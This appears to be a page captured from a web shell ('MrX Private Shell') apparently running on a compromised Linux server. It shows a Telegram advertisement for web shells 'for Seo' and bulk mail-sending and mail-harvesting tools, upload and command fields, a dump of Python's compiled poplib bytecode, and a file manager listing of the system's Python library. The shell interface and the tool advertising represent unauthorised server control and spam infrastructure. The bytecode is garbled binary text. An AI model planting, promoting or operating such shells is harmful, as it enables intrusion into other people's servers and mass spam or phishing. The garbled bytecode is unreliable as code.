__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

#T_i^;�@shdZddlZddlZddlZddlZzddlZdZWney%dZYnwddgZGdd�de	�Z
dZd	Zd
Z
dZe
eZdZGd
d�d�ZerVGdd�de�Ze�d�edkr�ddlZeejd�Zee���e�ejd�e�ejd�e��e��\ZZeded�D]Z e�!e �\Z"Z#Z$ede �e#D]Z%ede%�q�ed�q�e�&�dSdS)z@A POP3 client class.

Based on the J. Myers POP3 draft, Jan. 96
�NTF�POP3�error_protoc@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�/usr/lib/python3.10/poplib.pyrs�ni��
�
ic@seZdZdZdZeejfdd�Zdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd=d d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Ze�d0�Z d1d2�Z!d3d4�Z"d=d5d6�Z#d7d8�Z$d9d:�Z%d=d;d<�Z&dS)>raPThis class supports both the minimal and optional command sets.
    Arguments can be strings or integers (where appropriate)
    (e.g.: retr(1) and retr('1') both work equally well.

    Minimal Command Set:
            USER name               user(name)
            PASS string             pass_(string)
            STAT                    stat()
            LIST [msg]              list(msg = None)
            RETR msg                retr(msg)
            DELE msg                dele(msg)
            NOOP                    noop()
            RSET                    rset()
            QUIT                    quit()

    Optional Commands (some servers support these):
            RPOP name               rpop(name)
            APOP name digest        apop(name, digest)
            TOP msg n               top(msg, n)
            UIDL [msg]              uidl(msg = None)
            CAPA                    capa()
            STLS                    stls()
            UTF8                    utf8()

    Raises one exception: 'error_proto'.

    Instantiate with:
            POP3(hostname, port=110)

    NB:     the POP protocol locks the mailbox from user
            authorization until QUIT, so be sure to get in, suck
            the messages, and quit, each time you access the
            mailbox.

            POP is a line-based protocol, which means large mail
            messages consume lots of python cycles reading them
            line-by-line.

            If it's available on your mail server, use IMAP4
            instead, it doesn't suffer from the two problems
            above.
    zUTF-8cCsP||_||_d|_t�d|||�|�|�|_|j�d�|_d|_	|�
�|_dS)NFzpoplib.connect�rbr)�host�port�_tls_established�sys�audit�_create_socket�sock�makefile�file�
_debugging�_getresp�welcome)�selfr
r�timeoutrrr�__init__bsz
POP3.__init__cCs(|dur
|s
td��t�|j|jf|�S)Nz0Non-blocking socket (timeout=0) is not supported)�
ValueError�socket�create_connectionr
r)rrrrrrmszPOP3._create_socketcCs:|jdkrtdt|��t�d||�|j�|t�dS)N�z*put*zpoplib.putline)r�print�reprrrr�sendall�CRLF�r�linerrr�_putlinersz
POP3._putlinecCs.|jr
tdt|��t||j�}|�|�dS)Nz*cmd*)rr r!�bytes�encodingr&r$rrr�_putcmdzszPOP3._putcmdcCs�|j�td�}t|�tkrtd��|jdkrtdt|��|s$td��t|�}|dd�tkr8|dd�|fS|dd�t	krH|dd�|fS|dd�|fS)Nrz
line too longz*get*z-ERR EOF������)
r�readline�_MAXLINE�lenrrr r!r#�CR)rr%�octetsrrr�_getline�sz
POP3._getlinecCs:|��\}}|jdkrtdt|��|�d�st|��|S)Nrz*resp*�+)r1rr r!�
startswithr)r�resp�orrrr�s

z
POP3._getrespcCsr|��}g}d}|��\}}|dkr4|�d�r!|d}|dd�}||}|�|�|��\}}|dks|||fS)Nr�.s..r)rr1r3�append)rr4�listr0r%r5rrr�_getlongresp�s

�
zPOP3._getlongrespcC�|�|�|��S�N)r)rr$rrr�	_shortcmd��
zPOP3._shortcmdcCr:r;)r)r9r$rrr�_longcmd�r=z
POP3._longcmdcCs|jSr;)r�rrrr�
getwelcome�szPOP3.getwelcomecCs
||_dSr;)r)r�levelrrr�set_debuglevel�s
zPOP3.set_debuglevelcC�|�d|�S)zVSend user name, return response

        (should indicate password required).
        zUSER %s�r<�r�userrrrrF��z	POP3.usercCrC)z�Send password, return response

        (response includes message count, mailbox size).

        NB: mailbox is locked by server from here to 'quit()'
        zPASS %srD)r�pswdrrr�pass_�sz
POP3.pass_cCsF|�d�}|��}|jrtdt|��t|d�}t|d�}||fS)z]Get mailbox status.

        Result is tuple of 2 ints (message count, mailbox size)
        �STATz*stat*r�)r<�splitrr r!�int)r�retval�rets�numMessages�sizeMessagesrrr�stat�s
z	POP3.statNcC� |dur|�d|�S|�d�S)aRequest listing, return result.

        Result without a message number argument is in form
        ['response', ['mesg_num octets', ...], octets].

        Result when a message number argument is given is a
        single response: the "scan listing" for that message.
        NzLIST %s�LIST�r<r>�r�whichrrrr8�s	
z	POP3.listcCrC)zoRetrieve whole message number 'which'.

        Result is in form ['response', ['line', ...], octets].
        zRETR %s�r>rVrrr�retr�rGz	POP3.retrcCrC)zFDelete message number 'which'.

        Result is 'response'.
        zDELE %srDrVrrr�delerGz	POP3.delecC�
|�d�S)zXDoes nothing.

        One supposes the response indicates the server is alive.
        �NOOPrDr?rrr�noops
z	POP3.noopcCr[)z(Unmark all messages marked for deletion.�RSETrDr?rrr�rsets
z	POP3.rsetcCs|�d�}|��|S)zDSignoff: commit changes on server, unlock mailbox, close connection.�QUIT)r<�close)rr4rrr�quits
z	POP3.quitcCsBzY|j}d|_|dur|��W|j}d|_|durXz8z|�tj�Wn!tyD}z|jtjkr:t	|dd�dkr:�WYd}~nd}~wwW|��dSW|��dS|��wdS|j}d|_|dur�z6z|�tj�Wn!ty�}z|jtjkr�t	|dd�dkr��WYd}~nd}~wwW|��wW|��w|��ww)z8Close the connection without assuming anything about it.N�winerrorri&')
rrar�shutdownr�	SHUT_RDWR�OSError�errno�ENOTCONN�getattr)rrr�excrrrrasL����	������
	��z
POP3.closecCrC)zNot sure what this does.zRPOP %srDrErrr�rpop7sz	POP3.rpops\+OK.[^<]*(<.*>)cCs\t||j�}|j�|j�}|std��ddl}|�d�|}|�|��	�}|�
d||f�S)aAuthorisation

        - only possible if server has supplied a timestamp in initial greeting.

        Args:
                user     - mailbox user;
                password - mailbox password.

        NB: mailbox is locked by server from here to 'quit()'
        z!-ERR APOP not supported by serverrNrz
APOP %s %s)r'r(�	timestamp�matchrr�hashlib�group�md5�	hexdigestr<)rrF�password�secret�mrn�digestrrr�apop>sz	POP3.apopcCs|�d||f�S)z�Retrieve message header of message number 'which'
        and first 'howmuch' lines of message body.

        Result is in form ['response', ['line', ...], octets].
        z	TOP %s %srX)rrW�howmuchrrr�topSszPOP3.topcCrS)z�Return message digest (unique id) list.

        If 'which', result contains unique id for that message
        in the form 'response mesgnum uid', otherwise result is
        the list ['response', ['mesgnum uid', ...], octets]
        NzUIDL %s�UIDLrUrVrrr�uidl\s
z	POP3.uidlcCr[)zITry to enter UTF-8 mode (see RFC 6856). Returns server response.
        �UTF8rDr?rrr�utf8hs
z	POP3.utf8cCsZdd�}i}z|�d�}|d}|D]}||�\}}|||<qW|Sty,td��w)aReturn server capabilities (RFC 2449) as a dictionary
        >>> c=poplib.POP3('localhost')
        >>> c.capa()
        {'IMPLEMENTATION': ['Cyrus', 'POP3', 'server', 'v2.2.12'],
         'TOP': [], 'LOGIN-DELAY': ['0'], 'AUTH-RESP-CODE': [],
         'EXPIRE': ['NEVER'], 'USER': [], 'STLS': [], 'PIPELINING': [],
         'UIDL': [], 'RESP-CODES': []}
        >>>

        Really, according to RFC 2449, the cyrus folks should avoid
        having the implementation split into multiple arguments...
        cSs"|�d���}|d|dd�fS)N�asciirr)�decoderL)r%�lstrrr�	_parsecap{szPOP3.capa.<locals>._parsecap�CAPArz!-ERR CAPA not supported by server)r>r)rr��capsr4�rawcaps�capline�capnm�capargsrrr�capans


���z	POP3.capacCsxtstd��|jr
td��|��}d|vrtd��|dur!t��}|�d�}|j|j|j	d�|_|j�
d�|_d|_|S)	z{Start a TLS session on the active connection as specified in RFC 2595.

                context - a ssl.SSLContext
        z-ERR TLS support missing�$-ERR TLS session already established�STLSz!-ERR STLS not supported by serverN��server_hostnamerT)�HAVE_SSLrrr��ssl�_create_stdlib_contextr<�wrap_socketrr
rr)r�contextr�r4rrr�stls�s 
�z	POP3.stlsr;)'rrr�__doc__r(�	POP3_PORTr�_GLOBAL_DEFAULT_TIMEOUTrrr&r)r1rr9r<r>r@rBrFrIrRr8rYrZr]r_rbrark�re�compilerlrvrxrzr|r�r�rrrrr3sD+
�






	c@s8eZdZdZeddejdfdd�Zdd�Zd	dd�Z	dS)
�POP3_SSLaPOP3 client class over SSL connection

        Instantiate with: POP3_SSL(hostname, port=995, keyfile=None, certfile=None,
                                   context=None)

               hostname - the hostname of the pop3 over ssl server
               port - port number
               keyfile - PEM formatted file that contains your private key
               certfile - PEM formatted certificate chain file
               context - a ssl.SSLContext

        See the methods of the parent class POP3 for more documentation.
        NcCs�|dur|durtd��|dur|durtd��|dus |dur+ddl}|�dtd�||_||_|dur<tj||d�}||_t	�
||||�dS)Nz4context and keyfile arguments are mutually exclusivez5context and certfile arguments are mutually exclusiverzAkeyfile and certfile are deprecated, use a custom context insteadrK)�certfile�keyfile)r�warnings�warn�DeprecationWarningr�r�r�r�r�rr)rr
rr�r�rr�r�rrrr�s"��zPOP3_SSL.__init__cCs"t�||�}|jj||jd�}|S)Nr�)rrr�r�r
)rrrrrrr�s
�zPOP3_SSL._create_socketcCstd��)z�The method unconditionally raises an exception since the
            STLS command doesn't make any sense on an already established
            SSL/TLS session.
            r�)r)rr�r�r�rrrr��sz
POP3_SSL.stls)NNN)
rrrr��
POP3_SSL_PORTrr�rrr�rrrrr��s
�r��__main__rrK�zMessage %d:z   z-----------------------)'r�rgr�rrr�r��ImportError�__all__�	Exceptionrr�r�r/�LFr#r-rr�r7r�argv�ar r@rFrIr8rR�numMsgs�	totalSize�range�irY�header�msgr0r%rbrrrr�<module>sR�p
0
�

Filemanager

Name Type Size Permission Actions
__future__.cpython-310.pyc File 4.03 KB 0644
__phello__.foo.cpython-310.pyc File 130 B 0644
_aix_support.cpython-310.pyc File 2.81 KB 0644
_bootsubprocess.cpython-310.pyc File 2.24 KB 0644
_collections_abc.cpython-310.pyc File 32.15 KB 0644
_compat_pickle.cpython-310.pyc File 5.73 KB 0644
_compression.cpython-310.pyc File 4.41 KB 0644
_distutils_system_mod.cpython-310.pyc File 5.29 KB 0644
_markupbase.cpython-310.pyc File 7.39 KB 0644
_osx_support.cpython-310.pyc File 11.26 KB 0644
_py_abc.cpython-310.pyc File 4.57 KB 0644
_pydecimal.cpython-310.pyc File 154.04 KB 0644
_pyio.cpython-310.pyc File 71.93 KB 0644
_sitebuiltins.cpython-310.pyc File 3.46 KB 0644
_strptime.cpython-310.pyc File 15.57 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.cpython-310.pyc File 34.56 KB 0644
_sysconfigdata__x86_64-linux-gnu.cpython-310.pyc File 34.55 KB 0644
_threading_local.cpython-310.pyc File 6.39 KB 0644
_weakrefset.cpython-310.pyc File 7.43 KB 0644
abc.cpython-310.pyc File 6.59 KB 0644
aifc.cpython-310.pyc File 24.11 KB 0644
antigravity.cpython-310.pyc File 822 B 0644
argparse.cpython-310.pyc File 62.05 KB 0644
ast.cpython-310.pyc File 54.43 KB 0644
asynchat.cpython-310.pyc File 6.86 KB 0644
asyncore.cpython-310.pyc File 15.63 KB 0644
base64.cpython-310.pyc File 16.76 KB 0644
bdb.cpython-310.pyc File 25.23 KB 0644
binhex.cpython-310.pyc File 12.57 KB 0644
bisect.cpython-310.pyc File 2.53 KB 0644
bz2.cpython-310.pyc File 10.62 KB 0644
cProfile.cpython-310.pyc File 4.99 KB 0644
calendar.cpython-310.pyc File 25.69 KB 0644
cgi.cpython-310.pyc File 26.1 KB 0644
cgitb.cpython-310.pyc File 9.76 KB 0644
chunk.cpython-310.pyc File 4.75 KB 0644
cmd.cpython-310.pyc File 12.41 KB 0644
code.cpython-310.pyc File 9.72 KB 0644
codecs.cpython-310.pyc File 32.44 KB 0644
codeop.cpython-310.pyc File 5.46 KB 0644
colorsys.cpython-310.pyc File 3.19 KB 0644
compileall.cpython-310.pyc File 12.43 KB 0644
configparser.cpython-310.pyc File 44.39 KB 0644
contextlib.cpython-310.pyc File 20.41 KB 0644
contextvars.cpython-310.pyc File 246 B 0644
copy.cpython-310.pyc File 6.83 KB 0644
copyreg.cpython-310.pyc File 4.57 KB 0644
crypt.cpython-310.pyc File 3.47 KB 0644
csv.cpython-310.pyc File 11.52 KB 0644
dataclasses.cpython-310.pyc File 25.96 KB 0644
datetime.cpython-310.pyc File 55.21 KB 0644
decimal.cpython-310.pyc File 362 B 0644
difflib.cpython-310.pyc File 57.52 KB 0644
dis.cpython-310.pyc File 15.29 KB 0644
doctest.cpython-310.pyc File 74.39 KB 0644
enum.cpython-310.pyc File 25.45 KB 0644
filecmp.cpython-310.pyc File 8.54 KB 0644
fileinput.cpython-310.pyc File 13.74 KB 0644
fnmatch.cpython-310.pyc File 4.14 KB 0644
fractions.cpython-310.pyc File 18.16 KB 0644
ftplib.cpython-310.pyc File 28.3 KB 0644
functools.cpython-310.pyc File 27.67 KB 0644
genericpath.cpython-310.pyc File 3.82 KB 0644
getopt.cpython-310.pyc File 6.19 KB 0644
getpass.cpython-310.pyc File 4.11 KB 0644
gettext.cpython-310.pyc File 17.79 KB 0644
glob.cpython-310.pyc File 5.71 KB 0644
graphlib.cpython-310.pyc File 7.44 KB 0644
gzip.cpython-310.pyc File 18.11 KB 0644
hashlib.cpython-310.pyc File 6.68 KB 0644
heapq.cpython-310.pyc File 13.54 KB 0644
hmac.cpython-310.pyc File 6.81 KB 0644
imaplib.cpython-310.pyc File 41.32 KB 0644
imghdr.cpython-310.pyc File 3.81 KB 0644
imp.cpython-310.pyc File 9.56 KB 0644
inspect.cpython-310.pyc File 83.16 KB 0644
io.cpython-310.pyc File 3.58 KB 0644
ipaddress.cpython-310.pyc File 61.2 KB 0644
keyword.cpython-310.pyc File 927 B 0644
linecache.cpython-310.pyc File 4.04 KB 0644
locale.cpython-310.pyc File 45.07 KB 0644
lzma.cpython-310.pyc File 11.82 KB 0644
mailbox.cpython-310.pyc File 58.68 KB 0644
mailcap.cpython-310.pyc File 7.15 KB 0644
mimetypes.cpython-310.pyc File 17.21 KB 0644
modulefinder.cpython-310.pyc File 15.79 KB 0644
netrc.cpython-310.pyc File 3.84 KB 0644
nntplib.cpython-310.pyc File 30.88 KB 0644
ntpath.cpython-310.pyc File 14.36 KB 0644
nturl2path.cpython-310.pyc File 1.71 KB 0644
numbers.cpython-310.pyc File 11.59 KB 0644
opcode.cpython-310.pyc File 5.32 KB 0644
operator.cpython-310.pyc File 13.19 KB 0644
optparse.cpython-310.pyc File 46.63 KB 0644
os.cpython-310.pyc File 30.86 KB 0644
pathlib.cpython-310.pyc File 41.07 KB 0644
pdb.cpython-310.pyc File 46.33 KB 0644
pickle.cpython-310.pyc File 45.78 KB 0644
pickletools.cpython-310.pyc File 66.17 KB 0644
pipes.cpython-310.pyc File 7.59 KB 0644
pkgutil.cpython-310.pyc File 17.93 KB 0644
platform.cpython-310.pyc File 26.79 KB 0644
plistlib.cpython-310.pyc File 23 KB 0644
poplib.cpython-310.pyc File 13.25 KB 0644
posixpath.cpython-310.pyc File 10.31 KB 0644
pprint.cpython-310.pyc File 17.46 KB 0644
profile.cpython-310.pyc File 14.05 KB 0644
pstats.cpython-310.pyc File 23.07 KB 0644
pty.cpython-310.pyc File 4.05 KB 0644
py_compile.cpython-310.pyc File 7.17 KB 0644
pyclbr.cpython-310.pyc File 9.55 KB 0644
pydoc.cpython-310.pyc File 83.64 KB 0644
queue.cpython-310.pyc File 10.54 KB 0644
quopri.cpython-310.pyc File 5.66 KB 0644
random.cpython-310.pyc File 22.21 KB 0644
re.cpython-310.pyc File 13.89 KB 0644
reprlib.cpython-310.pyc File 5.13 KB 0644
rlcompleter.cpython-310.pyc File 5.81 KB 0644
runpy.cpython-310.pyc File 9.19 KB 0644
sched.cpython-310.pyc File 5.97 KB 0644
secrets.cpython-310.pyc File 2.12 KB 0644
selectors.cpython-310.pyc File 16.7 KB 0644
shelve.cpython-310.pyc File 9.27 KB 0644
shlex.cpython-310.pyc File 7.6 KB 0644
shutil.cpython-310.pyc File 37.63 KB 0644
signal.cpython-310.pyc File 2.87 KB 0644
site.cpython-310.pyc File 17.5 KB 0644
sitecustomize.cpython-310.pyc File 225 B 0644
smtpd.cpython-310.pyc File 25.53 KB 0644
smtplib.cpython-310.pyc File 34.93 KB 0644
sndhdr.cpython-310.pyc File 6.8 KB 0644
socket.cpython-310.pyc File 28.28 KB 0644
socketserver.cpython-310.pyc File 24.75 KB 0644
sre_compile.cpython-310.pyc File 14.84 KB 0644
sre_constants.cpython-310.pyc File 6.21 KB 0644
sre_parse.cpython-310.pyc File 21.25 KB 0644
ssl.cpython-310.pyc File 44.21 KB 0644
stat.cpython-310.pyc File 4.17 KB 0644
statistics.cpython-310.pyc File 36.18 KB 0644
string.cpython-310.pyc File 6.94 KB 0644
stringprep.cpython-310.pyc File 16.67 KB 0644
struct.cpython-310.pyc File 307 B 0644
subprocess.cpython-310.pyc File 43.69 KB 0644
sunau.cpython-310.pyc File 16.1 KB 0644
symtable.cpython-310.pyc File 12.53 KB 0644
sysconfig.cpython-310.pyc File 17.73 KB 0644
tabnanny.cpython-310.pyc File 6.79 KB 0644
tarfile.cpython-310.pyc File 69.02 KB 0644
telnetlib.cpython-310.pyc File 18.07 KB 0644
tempfile.cpython-310.pyc File 26.7 KB 0644
textwrap.cpython-310.pyc File 13.49 KB 0644
this.cpython-310.pyc File 1.23 KB 0644
threading.cpython-310.pyc File 43.92 KB 0644
timeit.cpython-310.pyc File 11.49 KB 0644
token.cpython-310.pyc File 2.67 KB 0644
tokenize.cpython-310.pyc File 16.79 KB 0644
trace.cpython-310.pyc File 19.4 KB 0644
traceback.cpython-310.pyc File 21.2 KB 0644
tracemalloc.cpython-310.pyc File 17.11 KB 0644
tty.cpython-310.pyc File 1.05 KB 0644
turtle.cpython-310.pyc File 125.84 KB 0644
types.cpython-310.pyc File 9.3 KB 0644
typing.cpython-310.pyc File 83.28 KB 0644
uu.cpython-310.pyc File 3.78 KB 0644
uuid.cpython-310.pyc File 21.97 KB 0644
warnings.cpython-310.pyc File 13.33 KB 0644
wave.cpython-310.pyc File 17.18 KB 0644
weakref.cpython-310.pyc File 19.87 KB 0644
webbrowser.cpython-310.pyc File 16.6 KB 0644
xdrlib.cpython-310.pyc File 7.7 KB 0644
zipapp.cpython-310.pyc File 5.87 KB 0644
zipfile.cpython-310.pyc File 60.4 KB 0644
zipimport.cpython-310.pyc File 16.63 KB 0644
Filemanager